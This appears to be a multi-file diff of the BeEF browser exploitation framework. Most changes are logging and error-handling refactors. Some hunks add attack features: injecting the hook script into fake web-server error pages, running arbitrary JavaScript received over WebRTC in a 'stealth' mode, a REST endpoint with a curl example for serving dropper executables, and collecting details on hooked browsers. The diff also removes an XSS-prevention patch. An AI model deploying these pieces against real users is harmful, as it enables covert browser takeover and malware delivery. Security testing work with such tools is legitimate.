this.processSignalingMessage(msg);
|
||||
}
|
||||
}
|
||||
@@ -203,7 +205,7 @@ Beefwebrtc.prototype.processMessage = function(message) {
|
||||
// Send a signalling message ..
|
||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||
var msgString = JSON.stringify(message);
|
||||
if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);}
|
||||
if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);}
|
||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||
}
|
||||
|
||||
@@ -225,7 +227,7 @@ Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||
}
|
||||
}
|
||||
|
||||
if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);}
|
||||
if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
|
||||
}
|
||||
|
||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||
@@ -238,7 +240,7 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
||||
|
||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||
// better candidates or connections
|
||||
@@ -292,7 +294,7 @@ rtcpollPeer = function() {
|
||||
return;
|
||||
}
|
||||
|
||||
if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');}
|
||||
if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');}
|
||||
|
||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||
|
||||
@@ -308,12 +310,12 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");}
|
||||
rtcrecvchan[peerid] = event.channel;
|
||||
|
||||
// This is the onmessage event handling within the datachannel
|
||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||
if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
||||
|
||||
// We've received the command to go into stealth mode
|
||||
if (ev2.data == "!gostealth") {
|
||||
@@ -333,22 +335,22 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
|
||||
// Command to perform arbitrary JS (while stealthed)
|
||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Command to perform arbitrary JS (while NOT stealthed)
|
||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Just a plain text message .. (while stealthed)
|
||||
} else if (rtcstealth != false) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||
|
||||
// Just a plan text message (while NOT stealthed)
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');}
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||
}
|
||||
}
|
||||
@@ -363,30 +365,30 @@ Beefwebrtc.prototype.execCmd = function(input) {
|
||||
|
||||
// Shortcut function to SEND a data messsage
|
||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||
if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);}
|
||||
if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);}
|
||||
this.dataChannel.send(msg);
|
||||
}
|
||||
|
||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||
Beefwebrtc.prototype.maybeStart = function() {
|
||||
if (this.verbose) {console.log("maybe starting ... ");}
|
||||
if (this.verbose) {beef.debug("maybe starting ... ");}
|
||||
|
||||
if (!this.started && this.signalingReady && this.turnDone) {
|
||||
if (this.verbose) {console.log('Creating PeerConnection.');}
|
||||
if (this.verbose) {beef.debug('Creating PeerConnection.');}
|
||||
this.createPeerConnection();
|
||||
|
||||
this.started = true;
|
||||
|
||||
if (this.initiator) {
|
||||
if (this.verbose) {console.log("Making the call now .. bzz bzz");}
|
||||
if (this.verbose) {beef.debug("Making the call now .. bzz bzz");}
|
||||
this.doCall();
|
||||
} else {
|
||||
if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");}
|
||||
if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");}
|
||||
this.calleeStart();
|
||||
}
|
||||
|
||||
} else {
|
||||
if (this.verbose) {console.log("Not ready to start just yet..");}
|
||||
if (this.verbose) {beef.debug("Not ready to start just yet..");}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -395,7 +397,7 @@ Beefwebrtc.prototype.doCall = function() {
|
||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||
var self = this;
|
||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||
if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' +
|
||||
if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' +
|
||||
' \'' + JSON.stringify(constraints) + '\'.');}
|
||||
}
|
||||
|
||||
@@ -424,17 +426,17 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
||||
|
||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||
|
||||
function onSetSessionDescriptionSuccess() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Set session description success.');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');}
|
||||
}
|
||||
|
||||
function onSetSessionDescriptionError() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -447,7 +449,19 @@ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());}
|
||||
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If the browser successfully sets a remote description
|
||||
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('Set remote session description successfully');}
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
@@ -461,19 +475,63 @@ Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
if (!this.started) {
|
||||
if (this.verbose) {console.log('peerConnection has not been created yet!');}
|
||||
if (this.verbose) {beef.debug('peerConnection has not been created yet!');}
|
||||
return;
|
||||
}
|
||||
|
||||
if (message.type === 'offer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: OFFER");}
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
|
||||
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
||||
// version of FF - which no longer works
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {
|
||||
// globalrtc[this.peerid].createAnswer(function(answer) {
|
||||
// globalrtc[this.peerid].setLocalDescription(
|
||||
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
globalrtc[peerid].createAnswer(function(answer) {
|
||||
globalrtc[peerid].setLocalDescription(
|
||||
new RTCSessionDescription(answer),
|
||||
function() {
|
||||
beefrtcs[peerid].sendSignalMsg(answer);
|
||||
},function(error) {
|
||||
beef.debug("setLocalDescription error: " + error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("createAnswer error: " +error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
}
|
||||
} else if (message.type === 'answer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: ANSWER");}
|
||||
this.setRemote(message);
|
||||
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
|
||||
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {},
|
||||
function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
}
|
||||
} else if (message.type === 'candidate') {
|
||||
if (this.verbose) {console.log("Processing signalling message: CANDIDATE");}
|
||||
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
candidate: message.candidate});
|
||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||
@@ -486,16 +544,16 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
|
||||
function onSetRemoteDescriptionSuccess() {
|
||||
if (this.verbose) {console.log("Set remote session description success.");}
|
||||
}
|
||||
// function onSetRemoteDescriptionSuccess() {
|
||||
// if (this.verbose) {beef.debug("Set remote session description success.");}
|
||||
// }
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
Beefwebrtc.prototype.doAnswer = function() {
|
||||
if (this.verbose) {console.log('Sending answer to peer.');}
|
||||
if (this.verbose) {beef.debug('Sending answer to peer.');}
|
||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||
}
|
||||
|
||||
@@ -519,7 +577,7 @@ Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('AddIceCandidate success.');}
|
||||
if (localverbose === true) {beef.debug('AddIceCandidate success.');}
|
||||
}
|
||||
|
||||
// Event handler for unsuccessful addition of ICE Candidates
|
||||
@@ -531,12 +589,12 @@ Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());}
|
||||
if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||
if (this.verbose) {console.log('Session terminated.');}
|
||||
if (this.verbose) {beef.debug('Session terminated.');}
|
||||
this.initiator = 0;
|
||||
// transitionToWaiting();
|
||||
this.stop();
|
||||
@@ -585,4 +643,4 @@ beef.webrtc = {
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
beef.regCmp('beef.webrtc');
|
||||
|
||||
@@ -86,7 +86,9 @@ module Banners
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
if configuration.get("beef.extension.admin_ui.enable")
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
end
|
||||
|
||||
print_more data
|
||||
end
|
||||
|
||||
@@ -177,6 +177,12 @@ module BeEF
|
||||
unless proxy_server.nil?
|
||||
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
|
||||
proxy_log_string += " [server: #{proxy_server}]"
|
||||
if config.get("beef.extension.network.enable") == true
|
||||
if proxy_server =~ /^([\d\.]+):([\d]+)$/
|
||||
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
|
||||
end
|
||||
end
|
||||
end
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
|
||||
end
|
||||
@@ -312,8 +318,8 @@ module BeEF
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
@@ -344,6 +350,11 @@ module BeEF
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
print_debug("Hooked browser has network interface 127.0.0.1")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
|
||||
end
|
||||
|
||||
# Call autorun modules
|
||||
if config.get('beef.autorun.enable')
|
||||
|
||||
@@ -21,7 +21,7 @@ module BeEF
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
|
||||
@@ -31,6 +31,7 @@ module BeEF
|
||||
end
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get("beef.extension.webrtc.enable") == true
|
||||
beef_js_sub_files << "lib/webrtcadapter.js"
|
||||
beef_js_sub_files << "webrtc.js"
|
||||
end
|
||||
|
||||
|
||||
@@ -59,16 +59,33 @@ module Handlers
|
||||
# Binds a file to a mount point
|
||||
# @param [String] file File path to asset
|
||||
# @param [String] path URL path to mount the asset to (can be nil for random path)
|
||||
# @param [String] extension Extension to append to the URL path (can be nil for none)
|
||||
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
|
||||
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
|
||||
# @return [String] URL Path of mounted asset
|
||||
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
|
||||
def bind(file, path=nil, extension=nil, count=-1)
|
||||
url = build_url(path, extension)
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
|
||||
@http_server.mount(url, Rack::File.new(@allocations[url]['file']))
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file,
|
||||
'path' => path,
|
||||
'extension' => extension,
|
||||
'count' => count}
|
||||
|
||||
resp_body = File.read("#{root_dir}#{file}")
|
||||
|
||||
if extension.nil? || MIME::Types.type_for(extension).empty?
|
||||
content_type = 'text/plain'
|
||||
else
|
||||
content_type = MIME::Types.type_for(extension).first.content_type
|
||||
end
|
||||
|
||||
@http_server.mount(
|
||||
url,
|
||||
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
|
||||
)
|
||||
|
||||
@http_server.remap
|
||||
print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]"
|
||||
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
|
||||
|
||||
url
|
||||
end
|
||||
|
||||
|
||||
@@ -32,14 +32,17 @@ module BeEF
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
PQ << {
|
||||
begin
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
}
|
||||
rescue TypeError, ArgumentError => e
|
||||
print_error "Hooked browser returned an invalid argument: #{e}"
|
||||
end
|
||||
|
||||
Thread.new {
|
||||
check_packets()
|
||||
|
||||
@@ -10,14 +10,19 @@ module BeEF
|
||||
|
||||
class Raw
|
||||
|
||||
def initialize(status, header={}, body)
|
||||
def initialize(status, header={}, body=nil)
|
||||
@status = status
|
||||
@header = header
|
||||
@body = body
|
||||
@header = header
|
||||
@body = body
|
||||
end
|
||||
|
||||
def call(env)
|
||||
[@status, @header, @body]
|
||||
# [@status, @header, @body]
|
||||
@response = Rack::Response.new(
|
||||
body = @body,
|
||||
status = @status,
|
||||
header = @header
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@@ -168,8 +168,9 @@ module BeEF
|
||||
begin
|
||||
secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
|
||||
ws.onmessage { |msg|
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
begin
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
if (msg_hash["cookie"]!= nil)
|
||||
print_debug("WebSocket - Browser says helo! WebSocket is running")
|
||||
#insert new connection in activesocket
|
||||
@@ -202,9 +203,12 @@ module BeEF
|
||||
#print_debug("Received from WebSocket #{messageHash}")
|
||||
execute(msg_hash)
|
||||
end
|
||||
rescue => e
|
||||
print_error "WebSocket - something wrong in msg handling - skipped: #{e}"
|
||||
end
|
||||
}
|
||||
rescue => e
|
||||
print_error "WebSocket error: #{e}"
|
||||
print_error "WebSocket staring error: #{e}"
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
@@ -149,27 +149,33 @@ module BeEF
|
||||
|
||||
# this is used in the 'get '/pf'' restful api call
|
||||
def hbs_to_array(hbs)
|
||||
hbs_online = []
|
||||
hooked_browsers = []
|
||||
hbs.each do |hb|
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
|
||||
hbs_online << [
|
||||
|
||||
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
|
||||
bname = details.get(hb.session, 'BrowserName') != nil ? details.get(hb.session, 'BrowserName') : 'n/a'
|
||||
bversion = details.get(hb.session, 'BrowserVersion') != nil ? details.get(hb.session, 'BrowserVersion') : 'n/a'
|
||||
bplugins = details.get(hb.session, 'BrowserPlugins') != nil ? details.get(hb.session, 'BrowserPlugins') : 'n/a'
|
||||
|
||||
hooked_browsers << [
|
||||
hb.id,
|
||||
hb.ip,
|
||||
details.get(hb.session, 'PhishingFrenzyUID'),
|
||||
details.get(hb.session, 'BrowserName'),
|
||||
details.get(hb.session, 'BrowserVersion'),
|
||||
pfuid,
|
||||
bname,
|
||||
bversion,
|
||||
details.get(hb.session, 'OsName'),
|
||||
details.get(hb.session, 'BrowserPlatform'),
|
||||
details.get(hb.session, 'BrowserLanguage'),
|
||||
details.get(hb.session, 'BrowserPlugins'),
|
||||
bplugins,
|
||||
details.get(hb.session, 'LocationCity'),
|
||||
details.get(hb.session, 'LocationCountry'),
|
||||
details.get(hb.session, 'LocationLatitude'),
|
||||
details.get(hb.session, 'LocationLongitude')
|
||||
]
|
||||
end
|
||||
hbs_online
|
||||
hooked_browsers
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -23,14 +23,28 @@ module BeEF
|
||||
|
||||
|
||||
# @note Binds a local file to a specified path in BeEF's web server
|
||||
# Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory.
|
||||
# Example usage:
|
||||
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mount":"/dropper","local_file":"dropper.exe"}'
|
||||
# -X POST -v http://10.0.60.10/api/server/bind?token=xyz
|
||||
|
||||
post '/bind' do
|
||||
request.body.rewind
|
||||
begin
|
||||
data = JSON.parse request.body.read
|
||||
mount = data['mount']
|
||||
local_file = data['local_file']
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(local_file, mount)
|
||||
status 200
|
||||
|
||||
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
|
||||
|
||||
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
|
||||
f_ext = File.extname(local_file).gsub('.','')
|
||||
f_ext = nil if f_ext.empty?
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
|
||||
status 200
|
||||
else
|
||||
halt 400
|
||||
end
|
||||
rescue => e
|
||||
error 400
|
||||
end
|
||||
|
||||
@@ -32,6 +32,7 @@ module BeEF
|
||||
"<p>The requested URL was not found on this server.</p>" +
|
||||
"<hr>" +
|
||||
"<address>Apache/2.2.3 (CentOS)</address>" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
|
||||
"</body></html>"
|
||||
when "iis"
|
||||
#response body
|
||||
@@ -65,7 +66,9 @@ module BeEF
|
||||
"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
|
||||
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
|
||||
"</ul>" +
|
||||
"</TD></TR></TABLE></BODY></HTML>"
|
||||
"</TD></TR></TABLE>" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
|
||||
"</BODY></HTML>"
|
||||
when "nginx"
|
||||
#response body
|
||||
"<html>\n"+
|
||||
@@ -73,6 +76,7 @@ module BeEF
|
||||
"<body bgcolor=\"white\">\n" +
|
||||
"<center><h1>404 Not Found</h1></center>\n" +
|
||||
"<hr><center>nginx</center>\n" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
|
||||
"</body>\n" +
|
||||
"</html>\n"
|
||||
else
|
||||
@@ -235,6 +239,7 @@ module BeEF
|
||||
"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
when "iis"
|
||||
@@ -265,6 +270,7 @@ module BeEF
|
||||
"</td>" +
|
||||
"</tr>" +
|
||||
"</table>" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
when "nginx"
|
||||
@@ -289,6 +295,7 @@ module BeEF
|
||||
"Commercial support is available at\n" +
|
||||
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
|
||||
"<p><em>Thank you for using nginx.</em></p>\n" +
|
||||
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
|
||||
"</body>\n" +
|
||||
"</html>\n"
|
||||
else
|
||||
|
||||
@@ -7,9 +7,6 @@
|
||||
# @note Patching Ruby Security
|
||||
require 'core/ruby/security'
|
||||
|
||||
# @note Patching Rack File class to prevent a potential XSS
|
||||
require 'core/ruby/file.rb'
|
||||
|
||||
# @note Patching Ruby
|
||||
require 'core/ruby/module'
|
||||
require 'core/ruby/object'
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
require 'time'
|
||||
require 'rack/utils'
|
||||
require 'rack/mime'
|
||||
|
||||
module Rack
|
||||
class File
|
||||
def _call(env)
|
||||
unless ALLOWED_VERBS.include? env["REQUEST_METHOD"]
|
||||
return fail(405, "Method Not Allowed")
|
||||
end
|
||||
|
||||
@path_info = Utils.unescape(env["PATH_INFO"])
|
||||
parts = @path_info.split SEPS
|
||||
|
||||
parts.inject(0) do |depth, part|
|
||||
case part
|
||||
when '', '.'
|
||||
depth
|
||||
when '..'
|
||||
return fail(404, "Not Found") if depth - 1 < 0
|
||||
depth - 1
|
||||
else
|
||||
depth + 1
|
||||
end
|
||||
end
|
||||
|
||||
@path = F.join(@root, *parts)
|
||||
|
||||
available = begin
|
||||
F.file?(@path) && F.readable?(@path)
|
||||
rescue SystemCallError
|
||||
false
|
||||
end
|
||||
|
||||
if available
|
||||
serving(env)
|
||||
else
|
||||
# this is the patched line. No need to reflect the URI path, potential XSS
|
||||
# exploitable if you can bypass the Content-type: text/plain (IE MHTML and tricks like that)
|
||||
fail(404, "File not found")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -33,7 +33,7 @@ module API
|
||||
#NOTE: order counts! make sure you know what you're doing if you add files
|
||||
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
|
||||
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
|
||||
panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
|
||||
